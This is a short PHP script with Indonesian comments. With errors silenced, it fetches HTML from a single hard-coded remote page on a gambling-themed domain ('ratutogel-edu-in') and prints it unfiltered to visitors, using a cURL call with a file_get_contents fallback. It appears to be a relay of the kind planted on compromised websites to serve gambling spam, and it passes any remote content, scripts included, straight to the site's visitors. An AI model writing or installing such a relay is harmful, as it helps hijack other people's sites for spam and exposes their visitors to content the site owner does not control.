<?php
    // Matikan error (opsional)
    error_reporting(0);
     
    // URL yang diizinkan saja
    const REMOTE_URL = 'https://ratutogel-edu-in.pages.dev/dev';
     
    // Ambil konten: cURL > file_get_contents
    function fetch_remote($url) {
        // cURL (lebih andal)
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_USERAGENT      => 'Mozilla/5.0 (compatible; RemoteReader/1.0)',
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_TIMEOUT        => 10,
                CURLOPT_SSL_VERIFYPEER => true,
                CURLOPT_SSL_VERIFYHOST => 2,
            ]);
            $data = curl_exec($ch);
            $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
     
            if ($data !== false && $http >= 200 && $http < 300) {
                return $data;
            }
        }
     
        // Fallback: file_get_contents
        $context = stream_context_create([
            'http' => [
                'timeout' => 10,
                'header'  => "User-Agent: RemoteReader/1.0\r\n"
            ]
        ]);
     
        return @file_get_contents($url, false, $context);
    }
     
    // BACA & TAMPILKAN apa adanya
    $content = fetch_remote(REMOTE_URL);
     
    if ($content !== false && $content !== null) {
        header('Content-Type: text/html; charset=UTF-8');
        echo $content;
    } else {
        http_response_code(502);
        header('Content-Type: text/plain; charset=UTF-8');
        echo "Gagal membaca konten dari sumber yang diizinkan.";
    }